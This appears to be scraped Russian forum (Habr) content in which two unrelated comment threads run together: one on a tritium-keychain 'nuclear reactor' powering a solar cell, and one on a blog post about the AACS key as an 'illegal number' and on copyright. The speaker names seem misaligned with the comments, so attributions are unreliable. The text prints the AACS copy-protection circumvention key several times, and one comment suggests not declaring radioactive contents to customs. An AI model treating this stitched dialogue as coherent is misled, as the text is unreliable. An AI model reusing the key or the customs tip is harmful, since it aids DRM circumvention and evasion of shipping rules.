turich
Забавно использовать светящейся элемент чтобы снова посветить светодиодом? )) может еще забабахать пару таких связок? ))
ftp27
Боюсь, вечный двигатель не выйдет :-)
BarsMonster
В качестве детектора можно — но лучше не *резистор, а полупроводниковое что-нибудь, фотодиод или фототранзистор например.
ftp27
Один товарищ уже пытался сам реактор делать «на коленке». Ему ещё относительно повезло.
BarsMonster
Да, на него ссылка есть в первом параграфе :-)
lomalkin
Извините, проглядел.
Beholder
Относительно повезло другому умельцу из России — который баловался дома с ренгеновской трубкой, и жесточайше облучил руку, + через неделю на той же руке (пока еще не успела опухнуть) микроволновый ожег от магнетрона… Чудом руку не отрезали :-)
BarsMonster
страсти какие)
Beholder
Раз уж речь зашла о страшилках, советую почитать:
ekimoff.ru/297/
www.bellona.ru/russian_import_area/international/russia/navy/northern_fleet/incidents/37598
BarsMonster
Шутки шутками, а тритевый брелок я по почте получил. Светится, хотя и очень слабо. Только никто из знакомых не верит, что это тритий.
k4shik
А чего вы ожидали? Это как доказывать бабушке что в её андроидном телефоне виртуальная машина с JIT-компиляцией, а не обычная :-)
ShouldNotSeeMe
И вовсе не стиральная =)
gnomeby
Вы там в тексте про гамма излучение как-то очень легко ссылаетесь на фото с черенковским излучением. Народ будет думать, что гамма лучи можно увидеть. Поправьте.
ru.wikipedia.org/wiki/%D0%A7%D0%B5%D1%80%D0%B5%D0%BD%D0%BA%D0%BE%D0%B2%D1%81%D0%BA%D0%BE%D0%B5_%D0%B8%D0%B7%D0%BB%D1%83%D1%87%D0%B5%D0%BD%D0%B8%D0%B5
Rai220
Добавил коммент
BarsMonster
Раз все так просто почему тогда не делают батарей с достаточным колличеством трития чтобы питать хотябы сотовый телефон?
kirilloid
Военные — делают. Но тсссс!
frog
Собрать дома большой ядерный реактор и собственный сервер и жить счастливо =)
BarsMonster
Ага, и еще свой бесплатный интернет, со своим спутником)))
neon4ig
Если бы законодательство позволяло собирать ядерные реакторы дома…
BarsMonster
За мной уже выехали? :-)
DSL88
еще нет, сами пробуют сделать такой :)
neon4ig
А вы его оставите или выключите? Мне просто интересно сколько реально проработает.
Faraday
А что реактору сделается то — полураспад — штука стабильная. Солнечная батарея сдохнет раньше.
BarsMonster
сначала подумал про 1 апреля и чуть не пропустил такую замечательную статью :)
Спасибо!
Faraday
Faraday
:)
SVlad
сверхсветовой скоростью

оО
noonv
Угу… В воде скорость света — меньше чем в воздухе… Электроны в шоке :-)
Demir0
Хух, не учёл. А я уж было подумал, что вы тахионы излучать научились и фиксировать :D.

Кстати, хорошая идея для поста на 1-ое апреля 2012.
noonv
Это будет термоядерный реактор :) То, над чем так долго и упорно бьются ученые. Да еще и водородо-водородный.
AndryX
Супер! Автору спасибо!

вспоминается анекдот:

На лекции:
— Берем эбонитовую палочку, опускаем в эбонитовую кислоту…
с задних рядов
— Эбонет?
AndryX
Черд, надо брать!
Trave
Простите, это не ядерный реактор, а радиоизотопный источник энергии. Вещи немного разные: в реакторе количество топлива сверхкритическое, а в радиоизотопном источнике — докритическое.
Halt
Однако эта фраза добавляет пикантности названия статьи :)
xabar
Да, да, да, заголовок как в желтой прессе :-)
polyakstar
Эм. Это шутка?
BarsMonster
Ядерный реактор, всё же, слишком жёлтый заголовок для статьи(ведь и назвать его ядерным реактором(в привычном понимании) можно с натяжкой).
Mercury13
Ядерная реакция происходит ведь.
dlinyj
Просто вместо паровой турбины, солнечная батарея. Но суть считай одна.
BarsMonster
Основа нашего реактора — капсула с тритием, с небезызвестного сайта DealExtreme — www.dealextreme.com/p/mini-tritium-glowring-keychain-10-year-green-glow-6830. 9.7$. Формально радиоактивные материалы так просто почтой слать нельзя, но DealExtreme про это видимо не знает.

Так что, не пришлют? Вы откуда доставали? В Украине это дело легально?
Robotex
Пришлют, конечно. Если никто не будет в декларации писать «радиоактивное топливо для домашнего ядерного реактора», то пришлют.
vadim2
А оплата только кредиткой? Придется в банк идти карту оформлять :)
Robotex
Придется. Или можно друга с карточкой поискать. А еще можно поискать какие-то виртуальные кошельки типа QIWI и там виртуальную карточку сделать, я правда не знаю есть ли такое в Украине.
Robotex
Да в принципе, 150 грн. можно потратить на карту, потом еще не раз пригодится.

Кстати, а можно будет потом эту карту привязать к Paypal/Google Checkout и получать на нее деньги с Apple AppStore и Android Market?
Robotex
Оу, зачем же так много? Советую сделать «Активні гроші» в Укрсиббанке. Она бесплатна, делают 2 недели, 3 года действительна. Заплатить придется только за смс-банкинг при подключении. Правда интернет-банкинга в ней нет, но я не считаю это большим минусом. При пополнении через кассу деньги поступают за несколько секунд.

Тут надо конкретно по каждой карте уточнять. Нужно чтоб картой можно было в интернете расплачиваться. Теоретически визы классик и выше работают без проблем. Еще работают некоторые электроны. Но это лучше уточнять. Те, которые работают в интернете, привязать к paypal можно 100%. Насчет гугла и получения денег не знаю, ибо не пользовался.
A1MaZ
Можно ли привязать зависит от банка и типа карты.

Получать деньги через Paypal нельзя на карты, выданные украинскими банками. Про Google Checkout не знаю.
Robotex
-шелдон ты че такой кислый?
-оказалось нельзя взломать сверхсекретный правительственный компьютер попытаться купить уран и избежать разговора мамы с министерством внутренних дел
A1MaZ
А где купить солнечную батарею?

А что если использовать другую батарею, либо больше линз?
Robotex
На том же dealextreme или в местных радиомагазинах. Свет и так почти весь собирается, так что надо больше капсул, а не линз )
A1MaZ
Т.е. можно в один реактор положить несколько источников и усилить ток?
Paul
Вполне )
sova
Ну значит десяток будет стоить не 420$, а 142.
Robotex
Во многих крупных магазинах типа Ашана, строительных и типа сад-огород продаются «дачные светильники» на солнечных батареях (заряжаются днем, светят несколько часов вечером), можно найти по вполне божеским ценам (40-60 рублей), батареи там бывают неплохие (я юзал только на кристаллическом кремнии, это стеклянные которые, макс КПД у них наибольший — порядка 15%).

В «комплекте» такого светильника идет:
1. Солнечная батарея — 1 шт.
2. DC-DC преобразователь на 10-20ма (на заметку: иногда заводится от 0.65 минимум вольта ;) )
3. Светодиод (сами по себе бывают качеством не очень, в дорогих светильниках — получше)
4. Ni-Cd аккумулятор на 150-300мач (АА или меньше)

Интересные штуки можно делать из всего этого добра за 50 рублей.
Я, например использую в радиомышке аккумулятор из такого светильника, который в это время сам лежит на подоконнике (немного переделанный) и заряжает запасной аккумулятор, пока другой тратится — не покупаю на пальчиковые батарейки =)
BarsMonster
А если прицепить к нему ядерный реактор…

Было бы прикольно, если бы мышь при движении по столу, преобразовывала кинетическую энергию в электричество и заряжала собственный аккумулятор. Как сделать такое из шариковой мыши понятно, а вот с лазерными и оптическими сложнее.
Robotex
Вообще хочу в куртку натыкать аккумуляторов и солнечных батарей, чтобы всегда в дороге при себе была энергия для плейера, телефона, ноутбука (всегда разряжается в неподходящее время). Если равномерно распределить батареи по всему телу, то лишняя пара-тройка килограмм и не почувствуется.
BarsMonster
Ведь правильно говорят, не может человек спокойно жить, не подвергая рискам свою жизнь =)
Robotex
Может кто ссылку дать на диалэкстрим, на подходящую солнечную батарею.
lomalkin
Что за враки по поводу урана. Можно спокойно купить.
www.amazon.com/Images-SI-Inc-Uranium-Ore/dp/B000796XXM
Robotex
На таможне пропустят?
Robotex
Не знаю. Тут коллекционный меч wow не пустили, т.к. «холодное оружие».
Tmix
Хороший коментарий «I purchased this product 4.47 Billion Years ago and when I opened it today, it was half empty.»
decanet
У меня тут один резонный вопрос возник, простите если он невежественен.
Согласно этой статье на вики, один грамм трития в производстве стоит 30,000 $.
Согласно вашей ссылке на тритий, брелок стоит 9 долларов, за 0.46 унции что составляет 13.0407806 грамма.
Это как так? В чем разница между тритием там и тритием в вики?
fzn7
Кто вам сказал, что брелок состоит только из трития?
lukaville
Bingo :-) В брелке трития — микрограммы.
fzn7
даже с вычетом гелия, получается что за девять долларов можно купить 3 микрограмма трития. Просто визуально кажется что его больше.
Yakhnev
Всегда думал, что концу света будут предшествовать посты характера «ядерный реактор своими руками».
ShirMan
Так оно и вышло.
puffofsmoke
Кстати, там есть брелки с различным наполнителем, может если выбрать подходящий цвет, то будет возможно «усилить» реактор?
BarsMonster
белый и зеленый светятся сильнее
ShirMan
Тут дело еще в том, что к зеленому свету чувствительность глаза намного выше )
salyariss
как негодуют китайцы нахлынувшим русским
darkfrei
Вот такой реактор на мой спининг на ночную ловлю )
09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0

Только что вы стали свидетелями того, как я нарушил американский закон DMCA.
Если бы Хабрахабр и/или я находились в юрисдикции США, компания AACS LA могла бы на полном серьёзе подать на меня в суд. Вряд ли бы им удалось выиграть, но… смысл ведь не в этом.

Дело в том, что этот набор безобидных циферок представляет собой ключ шифрования AACS — один из криптографических ключей, используемых для шифрования контента HD-DVD и Blu-ray дисков. Как вы уже наверняка догадались, используя этот ключ можно обойти защиту от копирования этих дисков, что является незаконным в США. То, что незаконным считается не только копирование, распространение и публичный показ, а всего лишь сам факт обхода защиты — это серьёзная, но отдельная тема и я не хотел бы сейчас на неё отвлекаться.

Я — далеко не юрист, хотя в законах немного смыслю, так что буду рад, если юристы поправят меня в комментариях.

AACS LS объявили данное число «устройством обхода авторского права», фактически получив эксклюзивное право на его использование.
Другими словами — объявили число «вне закона».

И вот это не укладывается в моей голове.
Как вообще можно назвать какое-либо число нелегальным?
Или ещё лучше — получить эксклюзивные права на его использование, то есть закопирайтить! :)

Что было бы с математикой, если бы я объявил число 13 (которое мне очень нравится, кстати) своей собственностью?
А как на счет того, чтобы запретить использовать число 666 из религиозных соображений?
По-моему это — ненормально: ограничивать свободу использования чисел всеми, лишь только для того, чтобы угодить единицам.
Что было бы с математикой, если бы любой желающий мог так или иначе примазаться к любому числу на основании того, что он его «придумал» и запретить дальнейшее использование (или даже упоминание) этого числа учеными? А как на счет патента на Теорему Пифагора? :)
Хотя я снова отвлекся…

Вот тут мы подходим к самому интересному.
Мы, обитатели Хабра, — люди образованные.
Мы знаем, что такое информация.
И мы знаем, как информация хранится и передается компьютером — в бинарном виде, единичками и ноликами.
Но постойте… в таком случае получается, что любая программа, любая книжка, любая песня или любой фильм в электронном виде — это всего лишь очень, очень больше число! Пускай это число в бинарном виде имеет 6012954214400 разрядов (обычный CD, 700 мегабайт), но это всего лишь число!

Улавливаете, в чём тут проблема?
Я могу закопирайтить 700-меговое число.
Я могу закопирайтить число 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0… ну, на самом деле не могу, потому что хитрые ребята его уже закопирайтили :)
Но если бы у меня были аналогичные финансовые и политические ресурсы, я мог бы без особых проблем закопирайтить себе число 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C1.
Но в то же время, число 13 я закопирайтить не могу… и это меня радует — красивое ведь число, пускай все свободно пользуются :)

Так где же должна проходить эта грань?

Написать этот топик меня побудило изучение статьи Википедии Illegal number.

P.S. Если кто-то не понял, в чем смысл этой статьи — смысл в том, чтобы читатель задумался над проблемой копирайта (да, лично я считаю копирайт проблемой) и о том, как нам стоит изменить наши устаревшие законы и традиции, адаптировав их к новому информационному обществу.

UPD. Спасибо хабрачеловеку naPmu3aH за интересную ссылку:
www.09f911029d74e35bd84156c5635688c0.ws/
maxshopen
Вообще они вроде как не копирайтили число, а пытались запретить его публикацию/распространение и использование именно для взлома AACS. Что из этого получилось можно почитать тут — www.computerra.ru/focus/318972/, веселая история :)
LaggyLuke
Вы правы, они не «копирайтили» число в прямом смысле, но вводили запреты и ограничения, стараясь обеспечить его эксклюзивное использование… так что ИМХО от копирайта это мало чем отличается.
maxshopen
Стараться то они старались, но ничего путного у них не вышло, в законе, на который вы ссылаетесь вроде нет каких-либо упоминаний о нем в плане запрета произвольного использования. Если есть — покажите. А вот использование его для взлома AACS само собой является нарушением закона (или распространение с такой целью). Кстати, статья, прочтение которой вас побудило написать топик помечена как непроверенная и возможно содержащая чьё-то исследование (читай мнение). А буквально в соседней статье сиё число и вовсе упоминается в прямом виде, что говорит о многом.
sixapart
Рабство в США отменили одновременно с крепостным правом в России)
yvanko
Это просто игра слов. Например вы что-то сделали полезное. И вот тут кто-то заявляет, что то что вы сделали — ничего не стоит, и не считает банальную кражу вашей идеи кражей как таковой. Подмена маленькой аксиомы вначале может привести к большим последствиям. Софистика
dioteos
отличный сюжет для новой серии IT crowd!
4twilight
Начиная с какого-то момента число явно можно защитить. Чёрт с ними с CD'ромами! Если вы запишите мелодию записав каждую ноту байтом (32 варианта — это почти три октавы и ещё остаётся 3 бита на длину), то «число» в 16 байт будет представлять из себя уже вполне нетривиальную мелодию и его уж точно можно будет защитить. Это всё тесно перекликается с математикой/метаматематикой и логикой/металогикой. Если число — это просто число, то оно защите неподвласно, если для его создания потребовались недюжинные интеллектуальные усилия и вы можете это доказать — другое дело. Вряд ли суд согласится с тем, что число 13 обладает каким-то смыслом, уникальным именно для вас (можно привести полно мест где оно употреблялось до вас), а число 666 — это общественное достояние. Но кто, где и когда использовал число 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0 до повяления HD DVD? Приведите ссылку на это место — и суд с готовностью и радостью отменит своё решение!
khim
Какое решение?
akral
Тогда возникает другой вопрос.

Какая степень новизны требуется, чтобы патент/копирайт был признан? Например: прямоугольник явно копирайту не подлежит. Сложная схема защищается копирайтом. Так где же лежит грань между 75-летней защитой и её отсутствием?
Mercury13
И, наконец, сколько зёрен — куча, а сколько — нет?
Mercury13
Посмотрите внимательно на полку с книжками. Скажете сколько их там сразу, не задумываясь? Нет. Сразу оценить количество предметов можно, если их не больше 5(ПЯТИ). Можно конечно потренироваться и научится обходить это, но зачем?
shiozomanyak
Так где же лежит грань между 75-летней защитой и её отсутствием?
В суде — где же ещё? IT-шниках это сложно понять (слишком они прикипели к своим компьютерам со своей бинарной логикой), но практически во всех законах вот именно такие нечёткие границы присутствуют: что-то явно попадает по одну сторону границы, что-то по другую, ну а в спорных случаях — как судья решит…
khim
Читай — у кого адвокаты круче, тот и прав
odessky
www.09f911029d74e35bd84156c5635688c0.net еще свободен, остальные «правильные» заняты.
Bobos
смешно и глупо.
Fl1nt
Да помню, было дело, ассоциация каких-то там обладателей грозила засудить всвх, кто опубликует это число. помню, даже компьютерра опубликовала только несколько цифр.

А копирайтное законодательство  — да, довольно бредово и аггрессивно.
egorinsk
Копирасты.
cst
История про ключ AACS — действительно баян.
А вот темы «нелегальных чисел» я на Хабре не нашел.
LaggyLuke
>Как вообще можно назвать какое-либо число нелегальным?

А еще, возьми детский порноролик и попробуй доказать, что это лишь большое-большое число.
AnatolyB
Эта логика схожа с логикой (бывшего) американского правительства: мы боимся террористов, по-этому в аэропортах будем шмонать всех, прослушивать телефоны до решения суда и т.д.

Я не одобряю детскую порнографию, но вводить идиотские ограничения на распространение информации только потому, что детская порнография — это тоже информация -… ну, вы сами понимаете.
LaggyLuke
Фигня. Число из миллиона букв FF тоже нельзя закопирайтить ибо для его создания не было приложено достаточно интеллектуальных усилий.
1602


5 цветов в RGB и две буковки тоже копирайтить нельзя, да?
khim
Классно! Сразу видно — голова варит ;)
Kalan
Это до меня придумали, если что :)
Alaunquirie
Этой штуке дали имя «флаг свободы слова». Как минимум такое название я видел на антикопирайте.
Kalan
Симпатичная цветовая гамма, кстати.
Mercury13
4 8 15 16 23 42…
sotakone
«The numbers are cursed. Dude, don't look at me like that, I'm not crazy.» — Хёрли

=)
Captcha
Инетересно, а если написать программу, в бинарнике которой будет такая последовательность? Засудят, если откопают? =)
croatian
Если докажете что оно там возникло случайно — отобъётесь. Только нужды такой, скорее всего, не возникнет. Случайно такие числа в бинарниках не возникают :-)
neon
Забавно, что человеку вообще приходится отбиваться от юридических нападок какой-то шарашкиной конторы, которой не нравится, что «её циферки» распространяют.
khim
сдается мне, что на je E3h будет сегфолт =)
LaggyLuke
Да все равногде-нибудь да сегфолтнется =)
fadd dword ptr [ecx + 56h] — тут, например. особенно после or ecx, edi
neon
им легче принять новый бредовый закон чем бороться с проблемой
neon
09F911029D74E35BD84156C5635688C0 = 9F911029D74E35BD84156C5635688C0 — hex =

10011111100100010001000000101001110101110100111000111
00000000000000000000000000000000000000000000000000000000000000000000000 — bin =

1.3256278887989458e+37 — dec…

P.S. сможет кто число словами выговорить?
thestorm
54308428790203478762340052723346983453487023489987231275412390872348475 — пятьдесят четыре довигинтиллиона триста восемь унвигинтиллионов четыреста двадцать восемь вигинтиллионов семьсот девяносто новемдециллионов двести три октодециллиона четыреста семьдесят восемь септендециллионов семьсот шестьдесят два сексдециллиона триста сорок квиндециллионов пятьдесят два кваттуордециллиона семьсот двадцать три тредециллиона триста сорок шесть дуодециллионов девятьсот восемьдесят три ундециллиона четыреста пятьдесят три дециллиона четыреста восемьдесят семь нониллионов двадцать три октиллиона четыреста восемьдесят девять септиллионов девятьсот восемьдесят семь секстиллионов двести тридцать один квинтиллион двести семьдесят пять квадриллионов четыреста двенадцать триллионов триста девяносто миллиардов восемьсот семьдесят два миллиона триста сорок восемь тысяч четыреста семьдесят пять
E1vBaX
О да, помню, как я составлял эту запись :)
Consul
есть сервис по «озвучиванию» цифр или домашняя заготовка?
Error_403_Forbidden
есть программа: delphidb.info/3127_money_to_str.html
Kalan
Судя по названию это для озвучивания сумм денег такая программа сделана? :)
Хорошие аппетиты на заработки :)
CyMpak
Некоторое время назад в Зимбабве была дикая инфляция. Тогда хлеб стоил такую сумму, что никто даже и не знал, как эта сумма называется.
Я, пожалуй, приложу картинку
yvision.kz/images/user/singlas/TRw1kC84P85N0RQe2jQoKm5QsGpDak.jpg
Error_403_Forbidden
Нужно знаменитый однострочник на Перле с ЛОРа в бинарный вид перевести и на копирайт.
Эпик тред на ЛОРе.
el777
LaggyLuke, вы перемудрили, особенно с выводами. Подозреваю в Вас ярого сторонника Столлмана сотоварищи, а с такими людьми вести аргументированную беседу, как показывает практика, бесполезно, но всё же попробую, вдруг я ошибаюсь. Копирайтом защищаются не числа, а — авторские произведения в абсолютно любой форме и независимо от материального носителя. Так что про компакт-диск — это детский лепет. Что касается конкретно сабжевого числа, то это немного другой случай и относится он не к копирайту, а — неправомерному доступу к информации. Представьте секретаршу с паролем 123 на ее компьютере с ЖУТКО ВАЖНОЙ информацией. Вы этот пароль узнали и публикуете где попало с указанием что и как делать. Таким образом претензии к вам направлены не на число, а — на ваш злой умысел. Точно так же и здесь, только в отличии от 123 оно более хм… сложно и поддается даже неискушенному пользователю однозначной трактовке — ключ для взлома защиты.
Что касается выводов — они также детские. Отмену копирайта (фактическиу) наша страна уже проходила — к чему это привело доподлинно известно — отсутствие инициативы и нежелание внедрять разработки, полное отсутствие такого понятие как шоу-бизнес и т.п. Книги, кино, сериалы, прграммы — по большей части все достойные представители сего сделаны ради денег (даже ваш Линукс) и бесплатно во имя высокого искусства никто ничего не сделает (лишь в исключительных случаях клинического слабоумия помноженного на гениальность). Так что копирайт в том виде в котором он есть сейчас всё же лучше, чем ничего.

Error_403_Forbidden
Подозреваю в Вас ярого сторонника Столлмана сотоварищи, а с такими людьми вести аргументированную беседу, как показывает практика, бесполезно, но всё же попробую, вдруг я ошибаюсь.
Не надо путать неадекват (людей, которые видят в Столлмане ярого борца с копирайтом и ничего сверх простого равенства «копирайт == зло» не воспринимающего) со сторонниками Столлмана (к которым я отношу и себя).

С вашими выводами я согласен. Помните давнюю историю? Упомянутого в статье эксперта дооолго потом таскали по судам — хотя большая часть паролей была как раз 1111 или 123, которые защитить авторским правом ну никак нельзя. И это — разумно.
vadux
Ну вот, Вы опять всё напутали — никто никогда не защищал пароли, ключи и т.п. авторским правом. Ответсвенность за их распространение проходит по другой «статье». См. выше.
udex
> лишь в исключительных случаях клинического слабоумия помноженного на гениальность

Как это?
khim
Когда человек кладёт свою жизнь на то, чтобы сделать что-нибудь «этакое» и помирает в нищете. Впрочем тут явно всё слишком категорично: в том самом СССР, где никакого копирайта не было была снята куча фильмов и многие — гораздо лучше чем те поделки, что создаются сейчас. И нежелания внедрять разработки в «странах победившего копирайта» тоже хватает. И даже шоу-бизнес был: половина народу в Российском шоу-бизнесе (и готорым давным-довно пора на пенсию) пришли из шоу-бизнеса СССР!

Так что я бы скорее оценил опыт СССР как положительный, но к обсуждаемой проблеме это всё отношения не имеет.
udex
Что происходило с теми актерами, режиссерами, сценаристами, которые не желали драться за «госфинансирование» любыми способами?
То же самое, что происходит в Голливуде с актёрами, режиссёрами и сценаристами, которые не хотят выпускать «стандартизованную жвачку». Когда у людей уже есть имя — они могут себе позволить «выкаблучиваться» в любой системе, если его нет — и прав у них, в общем, нет. Большой разницы я не вижу.

chiaroscuro
Так что опыт этого божия царствия на земле (слава аллаху оно закончилось) какой угодно, только не положительный.
История рассудит. И я очень, очень, очень сомневаюсь, что нынешнее «смутное время» (когда ничего не строится за пределами Москвы) получит более высокую оценку, чем время существовния СССР…

А как только доходит до конкретных предложений, тут то и оказывается, что все они не рабочие.
Было много конкретных предложений. У того же Столлмана есть вполне конкретное предложение: Reducing the monopoly on copying to ten years, starting from the date when a work is published, would be a good first step. Another aspect of copyright, which covers the making of derivative works, could continue for a longer period. Ten years may still be longer than necessary; once things settle down, we could try a further reduction to tune the system. Причём, заметьте, оно фактически воплощено в жизнь: за игрушки десятилетней давности никто особо не переживает и они спокойно выкладываются даже на западных сайтах — если бы этого не происходило, то многие из них были бы просто-напросто уже недоступны.

Почему-то когда начинают рассматриваться конкретные предложения неизменно выбираются очевидно безумные крайности. Реально разумные вещи рассматривать отказываются — а то вдруг их в жизнь воплотят?
khim
Вы когда-нибудь пробовали взять напрокат и купить фильм, выпущенный 10 лет назад? Я пробовал. Тяжко это — ни у кого нет в наличии. Выводы: прибыли от этих фильмов никакой нет, так почему не разрешить их свободно копировать?

Новая адаптация (с новыми цифровыми спецэффектами и/или переводом/озвучкой) — это уже другое произведение и на него будет новый 10-летний срок.

В общея совершенно со Столлманом согласен: 10 лет — это много, а не мало, но так как слишком резкое «снижение планки» может быть опасно, то в качестве первого шага — годится.
udex
На прокат? Прокат мертв давно, по нему о рынке домашнего видео судить не стоит. 10 лет — это всего лишь 1999 год. Миллион тайтлов выпущенно до это времени, регулярно перевыпускаются, приносят прибыль. Вы хотите, чтобы архивы запечатали и всех оставили впокое? Никто забесплатно вам никогда ничего не даст, особенно голливуд. Особенно паплик домейн тайтлы. Так что про 10 лет — это утопия (но и 75 — тоже через чур). Однако какой срок не установи — принципиално — это та же самая история, опять же новаций на горизонте не видно.
khim
Миллион тайтлов выпущенно до это времени, регулярно перевыпускаются, приносят прибыль.
И что — они до сих пор не вернули затраты? С трудов верится.
Никто забесплатно вам никогда ничего не даст, особенно голливуд.
Ну значит у них нужно взять — делов-то. Они могут либо установить законы, которые будут людям казаться справедливыми (будут ли они являться справедливыми — не так важно) и тогда редких людей, которые нарушают законы можно будет отловить и наказать, либо пытаться «продавить» законы, которые делают 99% людей преступниками — в этом случае эти законы будут попросту игнорироваться (что сейчас и происходит).
khim
>они до сих пор не вернули затраты?
А вы любите деньги в чужих карманах считать? И вообще, я совершенно о другом речь вел. Прочитайте внимательнее.

>Ну значит у них нужно взять
Вооруженным налетом?
udex
Зачем же вооружённым налётом? Взять с полки и скопировать. Мы же говорим про опубликованные вещи — а это значит что их копии уже широкой публике доступны.
khim
Скажем так — вы себе плохо представляете процесс производства домашнего видео. Копии хорошего качества публике никогда не доступны (вот только блу реи недавно стали появляться, да и то не известно, как они будут выглядить через 10 лет). Так что повторяю в последний раз (больше писать сюда зарекаюсь, ибо спорить с хабром о копирайте — как биться с разбегу головой об стену — очень уже они принципиальные и агрессивные): 10 лет копирайта погубят абсолютно всю индустрию видео.
udex
Вы даже не читали, то, что я написал.
khim
Доктор, вы такой доктор. Ваш пост — наглядное подтверждение последнему абзацу — спорить бесполезно. Экранок ему видетели хватит.
udex
Вы слово free на русский переводите как «свобода», а понимаете почему-то «бесплатно».
khim
А кто говорит о бесплатности? Где я про неё заикаюсь? Я готов заплатить за копию. Но если у меня её попросит кто-нибудь — это уж мое дело — дать ему, не дать и за сколько. Не надо ко мне в дом лезть с ненужными изыcканиями. Я готов и подождать сколько-то пока вы наиграетесь с оболванеными товарищами. Но если 10 лет я ждать готов, хотя и со скрипом (недавно как раз Final Fantasy I прошёл и не могу сказать что сделал это с отвращением — а ей больше 10 лет), то ждать 75 лет после смерти автора — не лезет ни в какие ворота.
udex
udex: >Вы даже не читали, то, что я написал.
khim: > Диагноз: неадекват.

Ваш диалог начинался очень интересно и правильно — начало проплюсовал обоим. Вы оба хорошо выразили свою точку зрения, но потом почему-то стали друг на друга злиться.

udex: Согласитесь что бывают перегибы? и согласитесь что их не мало. А в многих местах копирайт просто не дают и он не работает.

khim: конечно копирайт не совершенен, к несчастью можно запантетовать, то что уже давно используется, можно так же тупо отмыть на этом деле деньги. Но сама идея — защищать автора, и ее придерживаются и все таки часто защищают автора — это цель, ну реализация кривовата, ну что же.
khim
Перегибы перегибами, но реальных механизмов вознаграждения автора, кроме копирайта пока не придумали. Можно сколько угодно приводить в прмер Радиохэд, только чтобы это работало, надо чтобы музыкат был по своему уровню Радиохэд, иначе провал — даже Кингу с его Клеткой (вроде ее он выкладывал) пришлось признать начинание неудачным.
udex
Да вы не переживайте так.
Человек может приспособиться к чему угодно, если его поставить в нужные рамки :)
Даже если взять и отменить авторское право моментально, армаггедец не произойдет.
Этого не стоит делать только из-за того, что резкие перемены — это всегда плохо, потому что дискомфортно.
Любые изменения нужно вносить постепенно… но я не об этом.

Как только у авторов забрать механизм копирайта в текущем виде, они нифига не обанкротятся, просто вся индустрия должна будет серьёзно измениться.
Причем настолько серьёзно, что никто из нас до конца не может представить, что из этого в итоге получится.

Взять хотя бы появление Всемирной Паутины — вряд ли Тим Бернерс Ли по-настоящему представлял, во что вырастет его детище. Он только приблизительно представлял, в какую сторону стоит направить будущую индустрию.

Точно так же и сейчас: многие осознают тупиковость текущей системы копирайта, что от неё нужно отходить. Но в какую сторону — пока до конца не понятно. Но это не значит, что надо стоять на месте и ждать благословения с небес, как будто бы все эти вопросы кто-то сможет решить за нас.
khim
Вот противоположное мнение:
«В рамках моей парадигмы счастье музыканта не в собирании тошнотворных бабок, а в признании его творчества слушателями. Чем больше людей восхищается музыкой творца, тем выше его жизненная реализация, тем оправданнее его рождение. Интересы музыкантов, писателей, программистов и художников, пришедших в этот мир с единственной целью — рубить бабло, для меня ничтожны по той причине, что в рамках моей шкалы ценностей они не являются ни музыкантами, ни писателями, ни программистами, ни художниками. Как представлю себе Амадея Моцарта, вытряхивающего из слушателей „Волшебной флейты“ недостающие шиллинги на покупку золотой кареты, так вздрогну.»
Сергей Голубицкий
offline.computerra.ru/2006/665/298377/
udex
точно теперь у нас есть обитаемый остров, стритрейсеры, до%уя сериалов, и столько детективов выдаётся на-гора задень…
рыдаю от счастья.

никогда копирайт не был стимулом к созиданию. Н-И-К-О-Г-Д-А.
khim
Согласитесь, те кто так поступают, явно манерам не обучены?
udex
И? Поэтому он всегда прав, молитесь? Да хабр уже не торт и даже не булка.
khim
И тогда я не понял вашего поста — раз меня послал такой святой для вас человек, что я вообще тут делаю, почему еще не повесился?
developer
бесплатно во имя высокого искусства никто ничего не сделает (лишь в исключительных случаях клинического слабоумия помноженного на гениальность)

То, что вы не из поклонников Столлмана — я уже понял.
Но вот обвинять нас в клиническом слабоумии только потому, что сами вы за просто так задницу от стула не оторвете — это вы зря.

Если вы внимательнее прочитали статью или глубже изучили историю конкретно этого ключа, то увидели бы, что AACS LA преследовала не его использование, а его распространение как «устройство обхода авторского права».
И был шанс сесть в тюрьму просто за написание этого числа на заборе.

Как по мне, то лучше философия Столлмана, чем такие расклады.
udex
Я не вижу тут обвинений сторонников Столлмана в клиничеством слабоумии. Весьма немалый процент свободного ПО создаётся людьми за деньги в коммерческих компаниях. И вот именно тот факт что это удаётся сделать показывает что «оголтелый копирайт» — это явный перекос и без него ничего смертельно страшного не случится.
LaggyLuke
>Таким образом претензии к вам направлены не на число, а — на ваш злой умысел. Точно так же и здесь, только в отличии от 123 оно более хм… сложно и поддается даже неискушенному пользователю однозначной трактовке — ключ для взлома защиты.

Если я публикую информацию о ненадежности того или иного метода защиты с целью популяризации более надежного и привожу конкретный пример, как взламывается ненадежная — можно ли обвинять меня в злом умысле? Даже удаляясь от ИТ — я сообщаю, что привязывать собаку у магазина кожанным поводком не стоит, потому что он легко перерезается обычными ножницами, лучше использовать стальные цепочки. Это злой умысел? Я несу ответственность за все кражи собак, привязанных поводком?
macondos
Чтобы пресечь кривотолки в DMCA есть специальные исключения для криптоаналитиков и чётко оговорено — чего они могут делать, а чего — нет.
udex
А если бы не запрещали, то и интереса к числу не было. Не появился бы этот топик, в нем не написали бы это число, и я так никогда и не узнал бы про это секретное число
brainbot
Мы больше не можем надеяться что при выполении команды cat /dev/urandom мы не нарушим закон.
udex
Пока никому (кроме, возможно, AACS LA) не удалось прочитать такое число со своего /dev/urandom — в этом-то и фишка.
brainbot
оценим такую вероятность, при использовании всех вычислительных мощностей мира? :)
udex
Может не много не по теме, но сильно повеселило:

Dark_MX
Надо сделать фотожабу «когда ты пишешь число 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0, ты поддерживаешь КОММУНИЗМ»)))
udex
Запрещать числа почти так же глупо, как запрещать растения.
Dark_MX
… и цветы!

Коноплю и мак!

:)
udex
Не из-за этого ли числа был бунт на digg.com, когда тысячи пользователей размещали информацию о том, как обойти HD-DVD защиту?
Dark_MX
Было такое
udex
Знаковое событие. Первый виртуальный бунт
LaggyLuke
Вы представляете себе юридическое обоснование «передачи числа с негативной целью»? :)

Вот я например возьму ключ из статьи и допишу в конец фразу «этой штукой можно взламать мувики, гы-гы».
Потом закодирую эту строку в UTF-8 и допишу в бинарном виде в конец ключа.

Получилось новое число.
А теперь интересный вопрос: оно — легальное?
khim
